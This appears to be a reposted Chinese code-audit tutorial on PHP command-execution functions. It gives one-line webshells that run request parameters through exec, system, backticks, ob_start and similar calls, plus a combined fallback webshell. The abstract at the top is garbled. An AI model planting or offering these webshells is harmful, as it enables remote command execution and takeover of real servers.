审计基础-PHP命令执行

摘要:
因此,在安全模式下运行时,必须考虑safe_mode_exec_Dir指示execPHP457exec--执行外部程序exec:string以返回命令执行结果的最后一行。如果命令没有应答,则echo将为空。使用:˂?c=lshttps://www.php.net/manual/zh/function.proc-open.phpshell_execPHP457shell_exec-通过shell环境执行命令,并将完整的输出作为字符串Exec:string:˂?c=lshttps://www.php.net/manual/zh/function.system.php1.2文件系统函数popenPHP457popen-打开进程文件指针popen:resource以打开指向进程的管道,该管道是通过执行派生的给定命令命令生成的。
1. 命令执行

1.1 程序执行函数

程序执行函数
这些函数和 执行运算符 是紧密关联的。 因此,当运行在 安全模式 时,你必须考虑 safe_mode_exec_dir指示

exec

PHP 457
exec — 执行一个外部程序
exec ( string $command ) : string
返回命令执行结果的最后一行内容,实际不echo出来的话回显为空

利用:

<?php echo exec($_GET["c"]);?>
?c=ls

https://www.php.net/manual/zh/function.exec.php

passthru

PHP 457
passthru — 执行外部程序并且显示原始输出
passthru ( string $command ) : void

利用:

<?php passthru($_GET['c']);?>
?c=ls

https://www.php.net/manual/zh/function.passthru.php

proc_open

PHP 457
proc_open — 执行一个命令,并且打开用来输入/输出的文件指针
proc_open ( string $cmd , array $descriptorspec , array &$pipes ) : resource

利用:

<?php
$command=$_GET['c'];
$descriptorspec = array(1 => array("pipe", "w"),);
$handle = proc_open($command,$descriptorspec,$pipes);
echo fread($pipes[1], 1024);

?c=ls

https://www.php.net/manual/zh/function.proc-open.php

shell_exec

PHP 457
shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回
shell_exec ( string $cmd ) : string

利用:

<?php echo shell_exec($_GET['c']);?>
?c=ls

https://www.php.net/manual/zh/function.shell-exec.php

执行运算符-反引号``

`command`

反引号中的内容作为 shell 命令执行,并返回输出信息
等同shell_exec(),shell_exec()被禁则无效
需要echo回显

<?php
$c=$_GET['c'];
echo `$c`;

?c=ls

反引号在双引号字符串中不起命令执行作用
https://www.php.net/manual/zh/language.operators.execution.php

system

PHP 457
system — 执行外部程序,并且显示输出
system ( string $command ) : string

利用:

<?php system($_GET["c"]);?>
?c=ls

https://www.php.net/manual/zh/function.system.php

1.2 文件系统函数

popen

PHP 457
popen — 打开进程文件指针
popen ( string $command , string $mode ) : resource
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets(),fgetss() 和 fwrite()。 当模式为 'r',返回的文件指针等于命令的 STDOUT。

利用

<?php
$handle = popen($_GET['c'],"r");
echo fread($handle,1024);

?c=ls

1.3 Output Control 函数

ob_start

基于其他命令执行函数使用

PHP 457<7.4
ob_start — 打开输出控制缓冲
ob_start ([ callback $output_callback ]) : bool
此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。

利用:

<?php $cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush();?>
?a=whoami
只输出命令执行结果的第一行

分析:
ob_start的$output_callback参数是函数类型
可选参数 output_callback 函数可以被指定。 此函数把一个字符串当作参数并返回一个字符串。 当输出缓冲区被( ob_flush(), ob_clean() 或者相似的函数)冲刷(送出)或者被清洗的时候;或者在请求结束之际输出缓冲区内容被冲刷到浏览器的时候该函数将会被调用。 当调用 output_callback 时,它将收到输出缓冲区的内容作为参数并预期返回一个新的输出缓冲区作为结果,这个新返回的输出缓冲区内容将被送到浏览器

在上述利用中,output_callback的值为system,然后将参数a的内容whoami写入了缓存[输出缓冲区],所以在flush时会调用system函数,或者不用flush,在脚本结束时同样也会调用system,缓存中的内容whoami作为参数传递给了system,效果就是system("whoami"),然后再将执行结果输出到浏览器中。

简述就是:ob_start开启缓冲区,后面的所有输出echo都会存入缓冲区中,ob_end_flush结束缓冲区时,调用ob_start的参数system函数,并将缓冲区中的内容$_GET[a]作为参数传递给system函数

下面是关于php的output_buffering(ob)机制

php output_buffering
buffer是一个内存地址空间,Linux系统默认大小一般为4096(4kb),即一个内存页。主要用于存储速度不同步的设备或者优先级不同的设备之间传办理数据的区域。通过buffer,可以使进程之间的相互等待变少。这里说一个通俗一点的例子,你打开文本编辑器编辑一个文件的时候,你每输入一个字符,操作系统并不会立即把这个字符直接写入到磁盘,而是先写入到buffer,当写满了一个buffer的时候,才会把buffer中的数据写入磁盘,当然当调用内核函数flush()的时候,强制要求把buffer中的脏数据写回磁盘。

同样的道理,当php执行echo,print的时候,输出并没有立即通过tcp传给客户端浏览器显示,而是将数据写入php buffer。php output_buffering机制,意味在tcp buffer之前,建立了一新的队列,数据必须经过该队列。当一个php buffer写满的时候,脚本进程会将php buffer中的输出数据交给系统内核交由tcp传给浏览器显示。所以,数据会依次写到这几个地方echo/pring -> php buffer -> tcp buffer -> browser。

默认情况下,php buffer是开启的,而且该buffer默认值是4096,即4kb。你可以通过在php.ini配置文件中找到output_buffering配置。当echo,print等输出用户数据的时候,输出数据都会写入到php output_buffering中,直到output_buffering写满,会将这些数据通过tcp传送给浏览器显示。你也可以通过ob_start()手动激活php output_buffering机制,使得即便输出超过了4kb数据,也不真的把数据交给tcp传给浏览器,因为ob_start()将php buffer空间设置到了足够大。只有直到脚本结束,或者调用ob_end_flush函数,才会把数据发送给客户端浏览器。

https://www.php.net/manual/zh/function.ob-start
https://blog.csdn.net/tonyxf121/article/details/7973798

1.4 PCNTL 函数

pcntl_exec

PHP 457
pcntl_exec — 在当前进程空间执行指定程序
pcntl_exec ( string $path [, array $args ] ) : void
以给定参数执行程序。
path必须是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本(比如文件第一行是#!/usr/bin 的sh脚本)
args是一个要传递给程序的参数的字符串数组

利用

<?php $c=array('-al');pcntl_exec('/usr/bin/ls',$c);
2. 大一统

来自卿师傅
缺了extract和pcntl_exec

<?php
$command=$_GET['cmd'];
#function exec_all($command)
#{
    
//system函数可执行并直接显示结果
if(function_exists('system'))
{
    echo "<pre>";
    system($command);
    echo "</pre>";
}
 
//passthru函数可执行并直接显示结果
else if(function_exists('passthru'))
{
    echo "<pre>";
    passthru($command);
    echo "</pre>";
}
 
//shell_exec函数可执行但需要加echo才能显示结果
else if(function_exists('shell_exec'))
{
    echo "<pre>";
    echo shell_exec($command);
    echo "</pre>";
}
 
//function exec(命令,以数组形式的保存结果,命令执行的状态码)
//可执行,但需要加echo才能显示结果
else if(function_exists('exec'))
{  
    echo "<pre>";
    exec($command,$output);
    echo "</br>";
    print_r($output);
    echo "</pre>";
}
 
//popen函数:打开一个指向进程的管道,该进程由派生指定的 command 命令执行而产生。
//返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)
//此指针可以用于 fgets(),fgetss() 和 fwrite()。并且必须用 pclose() 来关闭。
//若出错,则返回 false。
else if(function_exists('popen'))
{
    $handle = popen($command , "r"); // Open the command pipe for reading
    if(is_resource($handle))
    {
        if(function_exists('fread') && function_exists('feof'))
        {
            echo "<pre>";
            while(!feof($handle))
            {
                echo fread($handle, 1024);        
            }
            echo "</pre>";
        }
        else if(function_exists('fgets') && function_exists('feof'))
        {
            echo "<pre>";
            while(!feof($handle))
            {       
                echo fgets($handle,1024);
            }
            echo "<pre>";
        }
    }
    pclose($handle);
}
 
//proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。
else if(function_exists('proc_open'))
{
    $descriptorspec = array(
            1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
            );
    $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
    if(is_resource($handle))
    {
        if(function_exists('fread') && function_exists('feof'))
        {
            echo "<pre>";
            while(!feof($pipes[1]))
            {
                echo fread($pipes[1], 1024);        
            }
            echo "</pre>";
        }
        else if(function_exists('fgets') && function_exists('feof'))
        {
            echo "<pre>";
            while(!feof($pipes[1]))
            {       
                echo fgets($pipes[1],1024);
            }
            echo "<pre>";
        }
    }
    #pclose($handle);
}
 
else
{
    echo 'GG';
}
<?php
$cmd=$_POST['cmd'];
echo "<pre>";
 
//可执行并直接显示结果,反引号,波浪键。
//shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体
//所以如果把shell_exec()函数禁用了,反撇号 (`)也是执行不了命令的。
echo `$cmd`;
 
 
//注意,这个只显示结果的第一行,因此基本只能执行whoami
//ob_start:打开缓冲区,需要system函数开启
$a = 'system';
ob_start($a);
echo "$_POST[cmd]";
ob_end_flush();
 
echo "</pre>";
3. 参考

https://www.cnblogs.com/-qing-/p/10819069.html
https://blog.csdn.net/tonyxf121/article/details/7973798
https://www.php.net/manual/zh/

免责声明:文章转载自《审计基础-PHP命令执行》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇JetBrains agent 2020.2.x全系列激活(仅供学习使用!!!)Deep Learning部署TVM Golang运行时Runtime下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

守护线程会不会执行finally?默认情况new thread怎么样确定守护状态?

finally throw return 中,线程的状态及interrupt 守护线程在退出的时候并不会执行finnaly块中的代码 线程池造成服务器内存泄漏 中所述,新建线程默认上使用建立线程时的当前线程所处的守护状态 本文予以验证: package fin; /** * Created by joyce on 2019/12/16. */ pub...

Springcloud +redis集群

springcloud  中 springboot版本是2.X.X以上的,版本不同,集群对应的客户端api方法,连接池不一样.   具体操作可以看git上源码. redis集群的配置比较简单. 添加jar: <dependency> <groupId>org.springframework.boot</group...

jenkins之 pipeline 小尝试

最近,一个小需求,动态建立slave节点来执行自动化用例,原有jenkins 老方式不满足需求,就用到jenkins2的pipeline来实现,但在实现过程中,2个小坑记录下 1、jenkins不能读取file参数中的文件  在任务有file参数时,如下: 然后在pipeline只引用env.env_conf时,发现找不到上传的文件.....<_&...

C#配置文件管理

  最近在做项目的过程中用到配置文件,本文简要说明本人在项目过程中是如何使用配置文件的,目的是加深自己对配置文件管理的理解,以便在下次使用时能做到轻松自如。   配置文件,顾名思义,是用户在使用系统或者软件时需要根据不同的状况手动配置的文件。在c#wpf项目中,配置文件一般有两种,一种是在系统中新建的配置文件即应用程序配置文件,命名一般习惯为App.con...

python子进程模块subprocess详解与应用实例 之三

二、应用实例解析 2.1 subprocess模块的使用 1. subprocess.call >>> subprocess.call(["ls", "-l"]) 0 >>> subprocess.call("exit 1", shell=True) 1 2. 调用系统中cmd命令,显示命令执行的结果: x=subpro...

SpringBoot + CXF快速实现SOAP WebService(支持Basic Auth)

唠叨两句 讲真,SOAP跟现在流行的RESTful WebService比起来显得很难用。冗余的XML文本信息太多,可读性差,它的请求信息有时很难手动构造,不太好调试。不过说归说,对某些企业用户来说SOAP的使用率仍然是很高的。 需求背景 接手维护的一个项目,最近客户想开放项目中的功能给第三方调用,而且接入方指定必须是SOAP接口。这项目原来的代码我看着头...